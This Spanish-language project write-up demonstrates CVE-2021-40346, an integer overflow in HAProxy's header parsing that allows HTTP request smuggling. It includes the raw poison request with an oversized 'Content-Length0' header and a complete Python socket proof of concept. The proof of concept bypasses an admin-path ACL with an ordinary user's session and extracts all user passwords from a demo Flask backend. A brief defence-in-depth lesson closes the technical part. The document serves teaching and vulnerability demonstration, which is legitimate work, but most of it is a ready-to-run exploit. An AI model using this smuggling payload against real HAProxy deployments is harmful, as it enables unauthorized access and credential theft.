
Contrabando de solicitudes HTTP
Este proyecto demuestra CVE-2021-40346, una vulnerabilidad crítica de desbordamiento de enteros en HAProxy que permite ataques de contrabando de solicitudes HTTP para eludir los controles de seguridad.
Puntaje CVSSv3: 7.5 (Alto)
CVE-2021-40346 es una vulnerabilidad de desbordamiento de enteros en la lógica de análisis de encabezados HTTP de HAProxy. Cuando un nombre de encabezado supera los 255 bytes, el valor de longitud se desborda de un campo de 8 bits, lo que hace que HAProxy interprete mal el encabezado durante el reenvío de solicitudes.
El atacante envía: Nombre del encabezado = "Content-Length0" + 255×'a' = 270 bytes
Fase 1 (Análisis inicial):
name_length = 270 % 256 = 14 (desbordamiento de 8 bits)value_length = 1Content-Length: 60 y lo trata como longitud del cuerpoFase 2 (Reenvío de solicitud):
"Content-Length""0"content-length: 0 a la solicitud reenviadaContent-Length: 60 (según la lógica normal)Procesamiento del backend:
content-length: 0 desde HAProxyConsidere HAProxy configurado con reglas ACL que restringen el acceso a rutas de administración:
http-request deny if { path_beg /users/admin }
En nuestro PoC, usamos una sesión de usuario regular (alice) para acceder al endpoint protegido /users/admin que solo debería ser accesible para administradores.
Solicitud Maliciosa (Solicitud 1 - Veneno):
POST / HTTP/1.1
Host: 127.0.0.1:8080
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 78
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:
Solicitud que HAProxy Reenvía:
POST / HTTP/1.1
host: 127.0.0.1:8080
content-length: 0
x-forwarded-for: 192.168.188.1
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:
Solicitud de Finalización (Solicitud 2):
GET / HTTP/1.1
Host: 127.0.0.1:8080
Solicitud de Contrabando Completa que Procesa el Backend:
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:GET / HTTP/1.1
Host: 127.0.0.1:8080
Resultado:
content-length: 0 (la ACL ve la ruta segura)La instancia vulnerable de HAProxy está configurada con reglas ACL para proteger el endpoint de administración:
...
# ACL to detect admin endpoint access
acl is_admin_endpoint path_beg /users/admin
# ACL to check for admin session cookie
acl has_admin_session cook(session) -m beg admin_
# Deny access to admin endpoint if user doesn't have admin session
http-request deny if is_admin_endpoint !has_admin_session
...
Puntos Clave:
/users/admin está bloqueado a menos que la cookie de sesión comience con admin_user_) son denegadosEl servidor backend tiene tres usuarios y un endpoint de administración:
USERS = [
{'id': 1, 'username': 'alice', 'password': 'alice123', 'role': 'user'},
{'id': 2, 'username': 'bob', 'password': 'bob456', 'role': 'user'},
{'id': 3, 'username': 'admin', 'password': 'admin_secret', 'role': 'admin'},
]
@app.route('/login', methods=['POST'])
def login():
# ... authentication logic ...
# Generate session token with role prefix
prefix = 'admin_' if user['role'] == 'admin' else 'user_'
token = prefix + secrets.token_hex(16)
resp.set_cookie('session', token, httponly=True)
return resp
@app.route('/users/admin', methods=['GET', 'POST'])
def users_admin():
# Returns sensitive data including all user passwords
rows = ''.join([
f"{u['id']} | {u['username']} | {u['email']} | "
f"{u['password']} | {u['role']}"
for u in USERS
])
return f"ADMIN PANELAll users with passwords:{rows}"
Modelo de Seguridad:
user_a1b2c3d4...admin_a1b2c3d4.../users/adminPor Qué Funciona:
POST / (permitida)POST / (sin restricción de administrador)content-length: 0 (debido al error de desbordamiento)GET /users/adminGET /users/admin directamente, revelando contraseñasLección de Defensa en Profundidad: Esto demuestra por qué los backends nunca deben confiar ciegamente en el proxy. Incluso con las ACL de HAProxy implementadas, el backend debería:
@require_admin)Depender únicamente del control de acceso a nivel de proxy crea un punto único de fallo.
El PoC demuestra cómo eludir las ACL de HAProxy para acceder a /users/admin usando la sesión de un usuario regular a través de cuatro pasos clave:
# Login as alice (non-admin user)
body = "username=alice&password=alice123"
login = f"POST /login HTTP/1.1\r\n" \
f"Host: {TARGET}:{PORT}\r\n" \
f"Content-Type: application/x-www-form-urlencoded\r\n" \
f"Content-Length: {len(body)}\r\n\r\n{body}".encode()
sock = socket.socket()
sock.connect((TARGET, PORT))
sock.sendall(login)
time.sleep(0.5)
# Receive response and extract session token
resp = b""
while True:
chunk = sock.recv(4096)
if not chunk:
break
resp += chunk
sock.close()
session = resp.decode().split('session=')[1].split(';')[0]
print(f"✓ Session: {session[:35]}...")
Propósito:
/users/admin# Craft incomplete smuggled request targeting admin endpoint
smuggled_incomplete = f"GET /users/admin HTTP/1.1\r\nCookie: session={session}\r\nDUMMY:"
Detalles Críticos:
/users/adminDUMMY: (sin CRLF) para mantener la solicitud incompleta# Create overflow header (270 bytes = 14 after 8-bit overflow)
overflow_header = "Content-Length0" + ("a" * 255)
# Build complete poison request
poison = (
f"POST / HTTP/1.1\r\n"
f"Host: {TARGET}:{PORT}\r\n"
f"{overflow_header}:\r\n" # Triggers integer overflow
f"Content-Length: {len(smuggled_incomplete)}\r\n" # Real body length
f"\r\n"
f"{smuggled_incomplete}" # Smuggled request as "body"
).encode()
Qué Sucede:
Content-Length0aaa... (270 bytes) se desborda a 14 bytes"Content-Length""0"content-length: 0# Send poison request
sock = socket.socket()
sock.connect((TARGET, PORT))
sock.sendall(poison)
time.sleep(1)
resp1 = sock.recv(4096) # Receive POST / response
# Send completion request (completes smuggled request)
completion = (
f"GET / HTTP/1.1\r\n"
f"Host: {TARGET}:{PORT}\r\n"
f"\r\n"
).encode()
sock.sendall(completion)
time.sleep(2)
# Capture the response of the smuggled request
all_data = b""
sock.settimeout(5)
try:
while True:
chunk = sock.recv(4096)
if not chunk:
break
all_data += chunk
except:
pass
sock.close()
# Decode and check for success
text = all_data.decode('utf-8', errors='ignore')
print(f"\n[RESULTS] {len(all_data)} bytes received")
print("="*70)
print(text)
print("="*70)
if "admin_secret" in text:
print("\n✅ SUCCESS! BYPASSED HAPROXY ACL!")
print("🔓 Stolen passwords visible in response above!")
else:
print("\n⚠️ Check backend logs - smuggling is working but response capture needs adjustment")
Flujo de Solicitud:
GET /users/adminGET /users/admin con la sesión de aliceadmin_secret en la respuesta